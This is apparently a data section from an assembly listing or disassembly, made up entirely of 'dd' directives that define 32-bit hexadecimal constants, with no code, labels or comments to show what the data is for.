dd 6DBD96E3h, 419955FAh, 49C896D8h, 0A0A40835h, 0EBE75FC4h dd 28007A9Dh, 7F31C897h, 557D280Eh, 0FA3822A1h, 799CC79Ah dd 70D061B5h, 3103EDA4h, 4B04E0D9h, 0EE0CBD6Bh, 1D3E43CAh dd 5696FEBDh, 24791065h, 961F9960h, 2AC08C8Ch, 0D801DEDCh dd 2C395164h, 0D277B165h, 926B8CABh, 0D1499C5Eh, 477DCC3Fh dd 8542D6F9h, 86749784h, 0C4C5C2AAh, 531C220h, 2FC6C8B4h dd 0B3FF89D7h, 0FBDAB8F5h, 76AEA4DAh, 63E66537h, 83EA3C05h dd 0F825FA27h, 0B2DDA4E2h, 76AFB58Fh, 0CE5BB494h, 0C145B009h dd 2FD31DE9h, 0C697BB21h, 0EBFB8693h, 10357E4Dh, 4B38B6D0h dd 82BAAD16h, 0E8987450h, 0C1309437h, 7D014E6Dh, 7A43048Eh dd 0CF5BED78h, 29018DFAh, 1A791886h, 53D82BE5h, 5D7BC016h dd 729CED4Eh, 470A31EDh, 97515EB3h, 6C8C0921h, 7AD6DA25h dd 78FB49B8h, 30E9BD07h, 0F8331563h, 0BBD3F81Dh, 308D40E7h dd 0E5217EAEh, 1F79F2C5h, 0D96D92C5h, 7FA5BEE1h, 75F8D3FCh dd 0F57DB882h, 0ED8B11EAh, 57E5B6Fh, 6E9BC80Fh, 0D0EA39F9h dd 0F8C83481h, 0C2BF719Eh, 25DE649h, 769CD8B4h, 0BB693E29h dd 8A5C5382h, 2B5C110Dh, 8CCFF6BCh, 61FC070Dh, 0F043B6B9h dd 7D5EEF28h, 6B5084F0h, 0C3681A9Eh, 0FC0D4D51h, 17FA363Ch dd 0C350F75Ah, 446FAE56h, 21BFB3ECh, 696E09B0h, 5A129E7Dh dd 6F9C29C8h, 0BB14CDDFh, 0B4FA8F0Fh, 0D98EBD2Fh, 5EA30D3Eh dd 3A2298D4h, 0C7D7FAE1h, 0C469C027h, 264162CDh, 88FCC94h dd 394B24C2h, 5394A4BAh, 0BC868573h, 485DBC8Ah, 537B6039h dd 0D61B56C3h, 3EB0FD03h, 0BC832563h, 55A45F64h, 66250BE1h dd 141A0A71h, 68C4595Ah, 38E4C78Fh, 0A93ADB00h, 9390919Ch dd 0A56466BBh, 5B5252A7h, 7CA1A121h, 0AEB05347h, 52E307BCh dd 4071E491h, 9897428Eh, 98D4F63Bh, 0EB844C03h, 46175ACh dd 0E6941D31h, 0D89DD15Fh, 0DAE00D56h, 0B62B7C11h, 61907772h dd 1199FCE0h, 0F2CC0298h, 0E077B40Fh, 5FD633F9h, 25C5AFD8h dd 0FD2F092Ch, 524915A2h, 32D02188h, 0D483727Bh, 0D84C3F9Dh dd 2A04739Ah, 0DE62ECEDh, 0D3566A85h, 1031E18h, 4F372A04h dd 255E486Ch, 0CE999397h dd 0A9346973h, 0EB6D27C9h, 0FCC00066h, 786AB256h, 4175AB73h dd 385C8936h, 6E9FF15Eh, 88ECB7Eh, 8B04B8DDh, 83D50DA2h dd 0B31DC2FAh, 4423D244h, 604651B5h, 0AC959238h, 0A60D3BCAh dd 38484A45h, 53EE8E50h, 0B7D97DA3h, 7D9E7500h, 5EEB8A9Dh dd 0DD34F9Fh, 9D0E800Bh, 7A3B809h, 0F3F29BC7h, 0DB2A1ACEh dd 0F680324Bh, 862D3832h, 0A5191D45h, 5102C182h, 56C5E0DDh dd 0C8DFF25Ch, 0E3A594D0h, 93F7C5D3h, 6E56AAA7h, 88B2BF27h dd 6910555h, 448DD2E1h, 0D37B8310h, 0BE2FB0h, 0B99A1ECCh dd 0DDBBF95Fh, 73192FECh, 0C7AB1EC8h, 418F0DC3h, 0D4BD0DD5h dd 8D510822h, 8CE58FA9h, 0D39D004Dh, 0AE4982B8h, 0A0632452h dd 49DACD60h, 0BC5DE00Dh, 580EFF17h, 85FC698Eh, 0AF3CBE0Eh dd 110718B3h, 4D6773E4h, 77C267EDh, 847445DAh, 34D8DE05h dd 0D1EDC46Ch, 0EB334160h, 15BD05B0h, 4DA6AE96h, 67EC093Fh dd 0F8A5A84Bh, 0D449F2B2h, 87021E42h, 1658164Dh, 6F1B283h dd 24EDE018h, 0DF7FE7F5h, 78AD7A4Bh, 9E71723h, 1B37B07h dd 994106A3h, 0A45E2E15h, 66A2F583h, 0C3CC4619h, 9635CFEDh dd 95E8FAC4h, 2B186A32h, 0DA5C79B8h, 34FE5023h, 7FE139B6h dd 505CCF1Fh, 32FE68Dh, 0BC2A44D0h, 6C6A4AD4h, 0C97FA129h dd 0FB862804h, 453E1D9Ah, 549FFCEEh, 77EBB627h, 852B6FA4h dd 11CE736Ah, 245BEFA2h, 0C9DC42B4h, 0A0F77F59h, 0D4A47504h dd 71343F98h, 0DD8E126Fh, 5AD0BD90h, 0CED3FEEEh, 0E874610Bh dd 8823C4B3h, 65159243h, 22408A1Dh, 0BB26AAF1h, 0C4349BB2h dd 3DC279F3h, 5845077Eh, 7FB53311h, 6D0B7389h, 65D1065Ah dd 0A1E01368h, 6BD35E5Bh, 4B76EA11h, 38A92CBh, 0A883CACh dd 292C32B2h, 0FD732DFCh, 8B400CE3h, 6BE2DA6Ah, 0A191EE53h dd 4A082490h, 0E2C4C0C4h, 0C590B23h, 941DF6C4h, 6F5ECDFFh dd 9F79498h, 4EB80FDBh, 0F17C286Eh, 0FD7E9BDCh, 3EE22412h dd 59485055h, 0E9FFBC5Dh, 0AEE3732Eh, 31277AF6h, 0BA7982B9h dd 0B040E085h, 8F95852Dh, 0B1BDB29h, 0E1427BFDh, 0CABE3F6Ah dd 0DB6361D3h, 0F8DD27F2h, 8BB3EF63h, 5FC227F4h, 0AA2E4AF0h dd 109183C3h, 6D41E69Fh, 4A3FECCAh, 0EB22912Eh, 999403E7h dd 37337295h, 9F388FEBh, 5CB0B416h, 0EFA43F6Ah, 0D6759C0Ah dd 10E386Ch, 62CF0F9Eh, 9268789Dh, 811BDFF1h, 0B21D8DA6h dd 5AA3D694h, 85BE214Eh, 0AB06CE09h, 36427E15h, 574D4E4Dh dd 929BF00Eh, 7CA7EDBEh, 9AAF3264h, 62FA71B9h, 0D7464C0Fh dd 0C9146D6h, 499BBACFh, 80AD799Dh, 1F0D3FE3h, 0C39BA234h dd 6C71D5Ah, 39CB72F7h, 0DB3D644Bh, 3740F047h, 0C0C6A3D4h dd 10C5A5EEh, 0A258323Eh, 123B3F1h, 7A8829AEh, 0FE7A79D8h dd 7A997A1Dh, 6321FBF4h, 4A362F3h, 0DB574108h, 0B824E857h dd 4C5EB203h, 0E115CBC9h, 0EA8C75BEh, 0D1669BD2h, 5BFFD9C6h dd 0D9CE235Ch, 5A036A5Fh, 0F59370D3h, 33AE19DFh, 32AB2E61h dd 0B2984AF5h, 3332650Bh, 9B417F8Ch, 1F13D2ACh, 0E5D26097h dd 0CC1EE10Eh, 0A2393BFFh, 553D79A5h, 0DC96EBAEh, 26E6D8B4h dd 0D0CB75A9h, 0AD786DD1h, 386E0777h, 38E8D66Dh, 0C0EEF21Ch dd 430362EEh, 6124CFADh, 83B4C8C9h, 3F08BA83h, 68040E40h dd 0D645697Ah, 8A5E6B55h, 6FB2412Ah, 72BAEA21h, 4A428896h dd 0A180B9B9h, 551A48D1h, 686C59DBh, 85981D6Bh, 57AA6E04h dd 0B3AC2628h, 6EB3598Ch, 14BD478Dh, 96DC1710h, 68745ECh dd 0A393F516h, 9490BE80h, 7A046E4Dh, 3AB28FD6h, 5C086FDAh dd 17DAE80Fh, 60F37775h, 0EC44BC68h, 8A4BCE03h, 0FF841873h dd 1C4BC2F6h, 9ECF2EE8h, 0B0F825C8h, 621C44E4h, 219046BEh dd 0D1714C2Eh, 0B93AAD7Dh, 6897B590h, 6A4939D5h, 5D2C802Ch dd 2F276DA0h, 3E0F171Ah, 1E403E2h, 746CFEFCh, 81A5E422h dd 2F0F0949h, 38D88071h, 84B6D6A2h, 0E385550Fh, 67D4B8E3h dd 0F1FF6F08h, 5F558480h, 0ECCDAA2Ch, 29918961h, 92911E9Ch dd 0A64C8748h, 0D06A7710h, 0E58B614Eh, 0C6B3A70Fh, 790519AAh dd 0D74B034Dh, 98F778EDh, 729FDDFFh, 385E753Ch, 24DA5939h dd 0A7276767h, 4C52BA0Ah, 0EC209FF0h, 70D71FE2h, 0CE86271Ch dd 0B218A8AAh, 2B06CF89h, 32F1292Eh, 5E6ECC19h, 7EAF4A64h dd 9A00718Bh, 0CFEDC02Ah, 1062EE4h, 55A35F5Ah, 3CC150F6h dd 0CACCA360h, 0CC4FB2ADh, 0F4A099EFh, 0C94B9497h, 6FFE2496h dd 3CBBCE45h, 0C2DF1639h, 0FFBAD145h, 4541E101h, 3FDF8CDAh dd 67E2A657h, 3A62C301h, 0CF0AB932h, 0CACA3132h, 6BFCE0ECh dd 0E6CDB895h, 0D2EF955Ch, 0E3859FEAh, 581BF00Fh, 0FDB13D43h dd 500DB450h, 598AD9BCh, 29839FE7h, 85683F53h, 789F7952h dd 9990B59Bh, 0C039FCBAh, 0A956AEFAh, 4E728939h, 0AC581181h dd 1E5D1C98h, 76257C0Ch, 0AAAF62BBh, 0BBBEC038h, 828185CDh dd 511676ABh, 0BA55F1FCh, 5B809EBFh, 8227E48Eh, 795EAC56h dd 2B878B18h, 0AD5E9354h, 0BA35AC4Eh, 0C97590D6h, 3988E023h dd 0A18E2D9Ah, 0BC0B1268h, 116741Fh, 6D3D5476h, 2C9AA950h dd 0D57CE94h, 0D12E8038h, 34E2B298h, 0F41710D4h, 0AE3E1597h dd 0AFC29AD4h, 4ED2FE93h, 3AADC9CAh, 0C2C7D7D2h, 8EC730D9h dd 35FC7EF7h, 302C3ABEh, 0E3D00035h, 9E733641h, 2CA6BE09h dd 0B3FF1ADFh, 93A1AF20h, 46BFA47Bh, 6278CFF9h, 6BA17C2Bh dd 88066B7Ch, 8228CDAh, 66515865h, 9E04E7AAh, 51D10675h dd 13DE347h, 0E04C97D4h, 0DBC1549h, 7DC9462Dh, 0BE10BC5h dd 0D3ACF49h, 24A4C8ACh, 3E871BF1h, 0CF662B1Ch, 0E19A2D87h dd 0B5D0EB5Ah, 0F37BE99h, 0D922525Bh, 0ABB0A9DEh, 54644E32h dd 3FE99313h, 8C42C1E8h, 6DC054EEh, 0E5B66FA7h, 35030243h dd 226AA017h, 0A03FB337h, 0BA96A80h, 9DE61A9Fh, 0C57FAD87h dd 0F8632193h, 2E49A87Ah, 6F44999h, 0C23554EEh, 0F54CBBF3h dd 947D4A10h, 79029F5Fh, 0A02A5773h, 96FE03F4h, 0F0CCDDCh dd 8D45224Ch, 437A437Bh, 59330F81h, 880DEEF2h, 3D1F7F5Ch dd 5F8443F2h, 0ED49EA2Fh, 25E39398h, 6992810Eh, 0F7E50D8Ah dd 0E513AE5Bh, 7672E3ABh, 0C7E02159h, 289A84F1h, 0AF6066F4h dd 25953FBAh, 0B072B2D4h, 0ACF1B2A9h, 78960D04h, 0E8C24C43h dd 4F8C5D16h, 0E4B0A870h, 0CCFAAAA3h, 3568F542h, 322772C3h dd 0DB5448AEh, 7DC1E548h, 63419B9Bh, 82C9B2D1h, 8F4AE3B0h dd 33B34951h, 0F9DBDE2Fh, 0E7292CCAh, 0E6C2F25Dh, 0E1C6BBAFh dd 6CA9019Ah, 1D43C716h, 74774A40h, 0FF0678Ch, 0BEC709B0h dd 2CF84BC5h, 2B732F38h, 888CFDD8h, 0A3FE6BA4h, 881C3541h dd 1B7D896Eh, 0EC6ABE39h, 6C0106ADh, 0FA2D890Bh, 430521E2h dd 52DC257h, 939B57A0h, 9B2CEB03h, 9EE350A4h, 895BC7E8h dd 9A29FE49h, 0FC42EDBDh, 0F7387D51h, 0FE2CF218h, 21212B5Dh dd 301615CDh, 0E60FB4C0h, 51666E7Fh, 2F010A39h, 0E8CDAC3Ah dd 180972F9h, 0D399E796h, 9677A7B3h, 1C848A01h, 17B486C4h dd 0A70F2862h, 0CEAC4014h, 0B1B85945h, 0C855265Ch, 1905328Eh dd 8691C16Bh, 0F7715945h, 9AAE41CDh, 0A7DFE76Ch, 0BE2A6B4Fh dd 1B56F4D5h, 734CFCFEh, 0FD540608h, 0F1C1454Eh, 30A83F33h dd 88D43577h, 0EFB29B5Fh, 0CF5FA33Ah, 0B4ECF779h, 0E873ABE8h dd 7A623102h, 0E7517062h, 3D95A04Dh, 2EBF3039h, 727B3B68h dd 0CD0DCE1h, 98C7EC4h, 0ED13AD8Ah, 4232E91Eh, 0F4802B08h dd 0EB31F895h, 5189F1E2h dd 4727315h, 41D8B2FBh, 5B9F268Eh, 1B3C98DCh, 0CF0A4AB8h dd 0BB321776h, 83F97324h, 791AB47Dh, 5799E699h, 0C434FF59h dd 0B563ABFBh, 3CFC86B9h, 9013B2A3h, 1A885010h, 5E2B18FFh dd 0CECB6BCDh, 20B6EA50h, 0EF0E7677h, 2D53E600h, 7940C1D0h dd 3DF1EDA0h, 0A55C1BEDh, 3760D61Bh, 41B081A2h, 624EA9CCh dd 2A54B65Dh, 56604FBCh, 37EF785Ch, 0F5514BAEh, 0A8202DBDh dd 0B1A247DCh, 0A344B7CEh, 88CA460Ah, 0A9D4EE4Bh, 9B5F6D16h dd 0BAF93h, 1F98AE52h, 63326EE7h, 0D290A602h, 0AF10FFABh dd 5039FAAEh, 762C3AEAh, 51A31C99h, 0E52909B7h, 71332D5h dd 1A07B0DBh, 76DB26Ch, 4CFEB165h, 12BCA7C4h, 0DDA27E8Ah dd 4A02AB1Ch, 44A1906Fh, 16BC3188h, 70269E18h, 0D47EC605h dd 87A8E6F4h, 0EA8312ABh, 6B534E70h, 3B7C3925h, 0DA058615h dd 23A38661h, 5946E005h, 4F215F20h, 80EF69A7h, 67291E37h dd 0A9A47568h, 0EE39E946h, 0CBDB7B3Bh, 0A8CFA631h, 0F10F89B4h dd 0ED10020Bh, 292B48FAh, 0BF3DEAA3h, 0F5498DCh, 8A3CC02Eh dd 0E478C407h, 4F371496h, 9C729BA9h, 8E623F82h, 8A52031Fh dd 617F4257h, 114F7CD0h, 7FF58FDAh, 1BD74CAAh, 6D9A1A8Fh dd 4C681D06h, 484723F6h, 0AC8818F9h, 0C2447E75h, 1C08D3D1h dd 14688B04h, 5E04C84Ah, 0A6F4DD23h, 0A963BB8Ch, 0B3EDD323h dd 4EAC412Ah, 0CA416B5Eh, 0ADC7393Bh, 38D095D0h, 0EFE1A94Fh dd 0C8B01BC5h, 9FB1601Ah, 0BEFB181Ah, 143A46F0h, 0D2A4AF8Fh dd 0B48DE83Dh, 0D70390D3h, 0EC2BA7BEh, 9003CC40h, 7E7CE35Dh dd 0D26A1947h, 2904A6EBh, 0EA15BE73h, 0E2104130h, 9199452Ah dd 9B12D454h, 95806A99h, 6A189858h, 10ED89E7h, 0D834FFCDh dd 0A85EB291h, 0FC52B7DEh, 0FB3B34F4h, 0BACDE217h, 0F5EE88AAh dd 0FE28E4h, 10A7071Eh, 0D4EC9B97h, 5BC82E5Fh, 0D28A7C85h dd 16A2109Bh, 0EAD38E4Fh, 4C6B849h, 0F651EFF2h, 9393F9C2h dd 0CB916C4h, 4A7AB555h, 0C0658307h, 80ED3F47h, 7B6803F4h dd 0CE44DA91h, 0B65B911Ch, 60D2A1D5h, 5BAD9264h, 19C55BB1h dd 98ED6A93h, 7BB92938h, 5CC722AAh, 78596E1Bh, 7143D9BEh dd 0DEAE0544h, 0A9B9E169h, 97F1B453h, 0F8A0B348h, 0BA29ADE2h dd 0F5823F6Dh, 34F7AB6Ch, 0A40484F6h, 1D018BEAh, 9AAAC050h dd 0FAEA9FC7h, 7F1A7A97h, 0E1C69FF6h, 9100FD2Ch, 1A8CB886h dd 3758F8B9h, 30FD315Ah, 4B8ECC42h, 84E4395Ah, 6A855C71h dd 0B1E16976h, 1FB2DD0Fh, 81728C17h, 39E7A1DFh, 50078D1Bh dd 0DAA4111Ah, 831DBD6Bh, 30870C02h, 6ACA7468h, 9EB62195h dd 390FB9D2h, 1D02CFDFh, 0D83BB155h, 82641F79h, 4FA7152Dh dd 0A26345BDh, 1CDEBC49h, 448C6EA5h, 0B2F70984h, 300FE615h dd 8C8519D4h, 5BD76887h, 0CD2CCCEAh, 0CD0FA699h, 0DB32CBD8h dd 46FCFEA1h, 79751D99h, 44241198h, 0B9608830h, 963B55D1h dd 0DC95BD49h, 7AFA1EA0h, 1996116Fh, 0B9A82EE0h, 0CCB1AB86h dd 120BCB69h, 7CA6C3C6h, 73361C73h, 2DD54F29h, 0DEB446ABh dd 85A2E737h, 0EF6FBCFEh, 0FEB13C0Ch, 0D34EE7A0h, 3CF517E5h dd 0DB1DB894h, 4E76C0AFh, 1F711578h, 0A9080EB7h, 59E90345h dd 6A240102h, 0CD035945h, 4A39E654h, 0AB6386E8h, 28FB3A90h dd 907349C6h, 7A7DAD83h, 1A3C49A4h, 6E30F2DAh, 8DBEF8h dd 0EFFFE5B0h, 0DBD09F6Bh, 3672635Eh, 50956F1Ah, 5C35110Eh dd 0BEDDCCA7h, 85627B6Ch, 0E4965157h, 0AE7F9E22h, 174931CCh dd 734D627Eh, 861A0AE1h, 558C6A76h, 2395CD69h, 829D760Ch dd 0A349EBDh, 0CC08D82Eh, 89B76532h, 93EBF5Ah, 5CA7875h dd 87B173C3h, 8D61625Ch, 253CD58Dh, 0CE22C72Bh, 0E9F98FA7h dd 0B380AF53h, 934FC9E5h, 0CD81E01Eh, 0F8BF34A0h, 239D22FAh dd 99F35E84h, 731D3924h, 0E820A060h, 6767901Ch, 459F3667h dd 9411808Ah, 993F56AEh, 92F22089h, 0D0276737h, 0E1D4FE25h dd 0AC5812F7h, 15B96540h, 8497721Ah, 2CF8E15Ch, 2E3A1811h dd 6A924612h, 0AFDAFD7h, 6E3EDF9h, 164A9942h, 2EEA8979h dd 4E368093h, 0F937E2C5h, 0C586698Dh, 0B7D85F0Dh, 4F853CC0h dd 0C1BB1347h, 4792AEAAh, 47365BD1h, 4A36141Ah, 46F76B8Ch dd 26321388h, 61B8C1E3h, 48959BDBh, 830B6D02h, 8C1946DAh dd 4326ED25h, 0CE5331C0h, 0D61FEDB5h, 84165E8Ah, 0D958CF9Dh dd 0FC8FC606h, 9911385Eh, 3426170Eh, 0E695C4C0h, 73F15D32h dd 0BBE6592Fh, 3B73A9E4h, 613DDAEBh, 2E23F1D9h, 0AD7262FAh dd 0D9BA90DBh, 9422D905h, 8B405640h, 0A5EE8DAAh, 61A13729h dd 8D7198EBh, 8A5A5468h, 2F9A89E2h, 1F3D5A9Ch, 0CA625C4Bh dd 87F13E84h, 0C67BEEA7h, 545F4B60h, 26711A8Eh, 0F432FBC1h dd 23D1501h, 0ACA0EFDBh, 517DF9EEh, 8227CD60h, 9B4070AFh dd 0C35D07ADh, 8AF51BC3h, 0FDA6A5F6h, 14A4E690h, 0BE0B72DBh dd 3A908568h, 4E3C0173h, 0B62A3891h, 4E5A665Bh, 441CBA9Eh dd 28438157h, 0EBAD229Dh, 3B601AD8h, 0EBB1C375h, 4160B089h dd 8869E5EEh, 55BD7513h, 9E487045h, 3ED8B4h, 875881B5h dd 0CB989FECh, 0A639546h, 353F0FBDh, 0EE2D3ABDh, 1391E382h dd 8E45FDD3h, 99397FEh, 19711673h, 0D6B59BC2h, 342265A4h dd 0F5854252h, 6D7682B6h, 8E67D9E7h, 81F77D69h, 5BF20719h dd 14C55322h, 3BBA0AE9h, 0FF1BC2FCh, 0C2EC87DFh, 0B276BA86h dd 0AEFB61F0h, 0AEB71862h, 1784F7ADh, 859851E2h, 5EC38019h dd 7F2455F8h, 0BC4AA3CDh, 0A0BF8C6Bh, 78225EE2h, 15AA6652h dd 0E7B99430h, 0BC9358A2h, 8A902057h, 13B8AAB7h, 0B7A8385Fh dd 0C195DCCAh, 0E7D5EA59h, 93299495h, 0E1109390h, 0E4092B4Ah dd 7257D5B3h, 6A7F931Ch, 45A651D7h, 6EB20B38h, 2E4E8E56h dd 0AA180A12h, 5027B470h, 366B3252h, 20367ECh, 3CAC4C6Ah dd 5BDA99A9h, 3F8D17EDh, 3FE3175Fh, 43CFB9A3h, 38CF89D5h dd 0DD0A1F8Ch, 59B2DA6h, 11F4B170h, 7B3AACBAh, 153CB8C4h dd 8578FB8Ah, 0E831FEA7h, 8DD24C79h, 58187BCCh, 0D0F03E0Bh dd 8BC3EED7h, 0CEA2C146h, 2F10244Bh, 10CBC36Ah, 85EE6ED0h dd 822D503h, 0CFAAB387h, 57059A2Eh, 0A6B3DAFEh, 12284B2Fh dd 5F2E4851h, 1B16064Bh, 7026F544h, 0F6ACA82Ch, 0DF454853h dd 3946A5F7h, 76BC60A2h, 55399C8Bh, 9983CE5Ch, 155477A4h dd 0F65BD668h, 4421231Dh, 59D1A4B9h, 5085C9BCh, 0C3DB0002h dd 766BD884h, 0AEB9AA67h, 947EE492h, 0FC5C3C41h, 0AFFFDA03h dd 1C9C16B2h, 0D3E24046h, 4A327307h, 80604049h, 0ED838E85h dd 42AFF03h, 746EBF80h, 0B817AABCh, 734E8727h, 0E3E1096Ch dd 0A6005181h, 0E38AC5Bh, 0B4BC7380h, 0D4465288h, 0FE8EE3Ah dd 51B6546Ah, 0B1C331EBh, 7FD880F3h, 84C75E9Fh, 8F3D7BFAh dd 5B1C2DDDh, 98A8D80Dh, 0B752CCD2h, 582F6091h, 765C8422h dd 7D088498h, 0A35AE4ADh, 73074C62h, 0A5C5B2F0h, 0F46E565Fh dd 0B99A9FC1h, 0E6591844h, 6C2649A4h, 86C0F201h, 0DDA4D30Ah dd 670A9A26h, 0B91B146Ch, 4580789Eh, 0BE97BE85h, 1EE68498h dd 15BAA525h, 370E222Bh, 0A72A8253h, 93142AEh, 0B9434DDAh dd 1F91DF44h, 1F250CFBh, 9CC8D174h, 24EEEA4Dh, 0C5BEF968h dd 933117EAh, 78DE1E52h, 8659F382h, 58633325h, 0A62DBC94h dd 68B68EF8h, 0A4D34A88h, 0A9137EACh, 0CB5DF4C3h, 37E7ECDDh dd 0CAEFEEC6h, 87C2746Eh, 488619D2h, 0ABC5D5BEh, 53AB311Dh dd 0A6C7298h, 4981C548h dd 3BAA476Eh, 0C567C24h, 8C9545BFh, 38940411h, 0C4B0F848h dd 0D4A59FB5h, 0EA20A1FCh, 0E80B6888h, 76DC40B7h, 0D8316455h dd 0B7C16F97h, 0DE5E29B9h, 8B8AB513h, 2AE1311Fh, 0BBC761C0h dd 8575677Dh, 6AA1CB96h, 0FB956D51h, 791B8058h, 6570F4E2h dd 0EE7E54BAh, 0BE93C202h, 3B1655A2h, 0BD51CA31h, 5BDBEA17h dd 0A6260537h, 0D9E4835Fh, 0C530F357h, 8C49A3C3h, 65F94C16h dd 8B4F48B9h, 1DDE796Ch, 0E8581CF0h, 84C381A9h, 2BAB2E5Ch dd 0DB68F9C7h, 566F8582h, 88C77D63h, 0BAB08F3h, 82E21090h dd 0C2FE396h, 0B07F41EDh, 152BC9B0h, 0BC5A5315h, 0FCFF0ED7h dd 4C627133h, 20E28B11h, 0CE32D333h, 0A777F5EEh, 0C515A191h dd 2A5A134Dh, 2A64B2B8h, 4A7B1B16h, 602D071Fh, 0DB570133h dd 0A68E4DD4h, 81B60CF5h, 630868B9h, 0E2FCD88Bh, 5B932174h dd 3EBFAF50h, 4CB13946h, 1DCC2FF5h, 925710D9h, 47CAB21Eh dd 0CE06FC8h, 1E0A2119h, 89B30987h, 7D2FD7F6h, 69CE1E21h dd 0F1A92186h, 0DA508FBAh, 0A3918378h, 969D03DEh, 83F9DCF7h dd 7B92F3EFh, 0C64DC590h, 842A2C5Ch, 0E8063F4Ch, 0C141833Ah dd 829C61FFh, 801ECDD5h, 2229EF42h, 0BFB1A227h, 6240ADDCh dd 0CA88BDD4h, 8CA3FBD3h, 5613DA29h, 8B912E76h, 66D7E73Bh dd 0A9257B91h, 0E5B29EC4h, 0C56B9FF2h, 0D0A8B015h, 53C70D8Bh dd 9E9467Ah, 242A5045h, 0AC157B96h, 0BCEE9BA8h, 0E9344E3Fh dd 0AD762B91h, 2943BDD1h, 69810808h, 6C79509Eh, 25E4C882h dd 69583676h, 9C6C7360h, 0D793E768h, 0DC13DC5Bh, 4AF86E8Eh dd 0DF4EAD12h, 0F82E7756h, 1AFFD28Bh, 77AB100h, 3CD21901h dd 4358DAB0h, 0C6955E85h, 4074BA9Eh, 3E98EB7Bh, 24011834h dd 6E5BA8B0h, 1F158892h, 0B713A979h, 12E1B076h, 0B5831861h dd 43D458E2h, 3511470Ah, 0F8A71AD8h, 9CA7D350h, 0ED87A0B3h dd 77BE22BAh, 44E39C62h, 2B26C0B9h, 0F9EAA28h, 57F9CA5Fh dd 841B414Bh, 55BD91B8h, 3AA98E4Bh, 0C5F5D6F9h, 91EBEB65h dd 0CF6EA488h, 0A86A962Dh, 12C12E0Ch, 0D89DC353h, 0E842D0CDh dd 0F1C01088h, 0C3EB4EB5h, 0F6E5FA11h, 611BCBB0h, 3D3A9D68h dd 0C425286Eh, 0CDB29CC2h, 50FA9087h, 0D0E9006Ah, 0CCAD9B81h dd 0F4DFDD6Bh, 0EDCD9C04h, 0D4BF8C48h, 7964A5D0h, 23D8F510h dd 51A5539Fh, 0A3E51930h, 0D41B5526h, 0DF99218Dh, 0C41B2AADh dd 320562h, 0DCCD9AA9h, 2EFDC4E2h, 8DF29C35h, 512C3B2Ah dd 50D218DBh, 0BC980FA9h, 871C3E1Ch, 0CD640873h, 0EE5291ECh dd 4279611Dh, 4E651266h, 3C501D17h, 0C493DD5Dh, 21864A25h dd 0AFE8E50Bh, 76A551CCh, 8C437560h, 88019101h, 0B284DF9Ch dd 3BFA1553h, 239D9E73h, 2B46AAF3h, 0AEA9D1F7h, 1D39C97Bh dd 16587BD4h, 82DA924Dh, 4B65684Bh, 99CDDBE3h, 0C8056CBDh dd 2F19F8Eh, 0E5738B17h, 0EE544D36h, 5174B48h, 2E40DCAFh dd 0A00257A9h, 0AB882FA4h, 3C67F991h, 53FEFF9Fh, 7B81D21Eh dd 592DF073h, 0CA259A48h, 0DAA2D468h, 295D1A2Ah, 0E6BEC726h dd 0EB5AE4B8h, 0B79547D4h, 0A872D80Eh, 0F7F4262Ah, 28CE1E12h dd 0BC56BCA6h, 27ADA15Fh, 0A1A479FCh, 0DFA447E3h, 5266D935h dd 0E09BBDC4h, 5405C254h, 42829262h, 7FE264C4h, 0AF563DDAh dd 0B7943CB8h, 0D98E731Dh, 0B1101BAEh, 5D881CDCh, 0A2771205h dd 9208FFA6h, 0FC928C98h, 8098DDADh, 0DE841EA6h, 6A3ADBD8h dd 35229A5Eh, 1821F9A1h, 62464C12h, 4D9484C1h, 8D45B21Dh dd 207ADBADh, 3FA04DECh, 0A302BD4Eh, 213EA5FAh, 28320708h dd 0EBCE99A6h, 6EDA1164h, 3D2F600Fh, 0B804EC26h, 30106C5Ah dd 2F310D55h, 6442355Ch, 2D82C0BFh, 0DB29FB2Eh, 0A2B74C77h dd 0B46ED28Fh, 308EFC76h, 0B7BC49D0h, 0D242912Eh, 39F5E80Ch dd 6F86B243h, 0BF04902Ah, 61394E5Dh, 94803105h, 77D4FD12h dd 0EBEDDE7Fh, 144FCCD8h, 977FA48Ch, 6ACF5D7h, 0C4F8AF37h dd 737186CCh, 2F6A4D25h, 0E14EC45Bh, 9B43FE44h, 288E8811h dd 0E674450Dh, 5F3EA975h, 0EC31BD16h, 791EE892h, 180A84D3h dd 34E30A09h, 0DAF736F1h, 0E9633F72h, 67B5DE81h, 3F76D840h dd 0B08B0EB1h, 0C01455CFh, 88F03725h, 0C2D1910Ah, 461697D8h dd 0ECE3B415h, 7AA72DCAh, 6F001414h, 429FD5FEh, 0B0F20C32h dd 60C57CD0h, 6FA5F4ABh, 5A376F00h, 0EAC3BF29h, 21B6F0Eh dd 6481F42Bh, 88C56289h, 0EC2997AAh, 89873E15h, 0A205493Eh dd 8906CF9Ah, 33052BF8h, 75117736h, 2EEFA316h, 0CDBC4C31h dd 42B61E0Bh, 22AEA3ECh, 2DE26354h, 0FC998DF4h, 4BD326BEh dd 0B7225A77h, 5E314E1Ch, 25D43876h, 0FD0D20Eh, 909E20FAh dd 8913ACE0h, 0CD453B29h, 8E582EBDh, 0A6F6A3FBh, 0E2FB3233h dd 3BF85A94h, 213E2DBh, 0E9084A8Ah, 123BBE5Ch, 0AC9BC3FDh dd 4B3D2A3Dh, 3D156E8Dh, 0FF32A616h, 0EB33E00Ch, 6AA39091h dd 8E52B35h, 72A7505Bh, 635B2EBFh, 0CCAF83A0h, 830CE394h dd 43B453C4h, 6A6CACF4h, 0DF792A89h, 0F40F5F36h, 5B9E4886h dd 0A997B4A3h, 0AC9ED9BFh, 0CD13AB67h, 95E47434h, 0CDCA1FE8h dd 665966C9h, 0FE1AC304h, 9712BC99h, 32734096h, 0D6E39962h dd 98210365h, 5920F2CCh, 355916A8h, 0B9164936h, 0BC595D6Ch dd 450FCE04h, 6B8D0B31h, 79591C45h, 0C52765BCh, 50C39560h dd 549992A9h, 96C03535h, 1AD722Eh, 6CF77B5Ah, 7A8E0F4h dd 6C5E66BBh, 14532B84h, 0FF6399B8h, 9F4757ABh, 6DBB926Ah dd 0F237649Fh, 80CF083Dh, 34B765A9h, 6926EC91h, 8EBB6E3Ah dd 0AA67277Dh, 0BAF21D26h, 7558A36h, 7B5B2917h, 0AC371AB5h dd 47D885BCh, 9CE3ED05h, 0D987058Ch, 24BEA96Ch, 0E7D3F4B8h dd 531F0017h, 0E5F0CFABh, 452D70Ah, 9FE9FA0Ah, 176E73B5h dd 3C74ABCCh, 58B69EBBh, 0F476D6A6h, 5F91B3A2h, 0A270BFE6h dd 638D176h, 951C3BFFh, 0FA5656A9h, 6E7EA13Dh, 53263C50h dd 759C6B52h, 6B3ED269h, 11E08548h, 0C90703A9h, 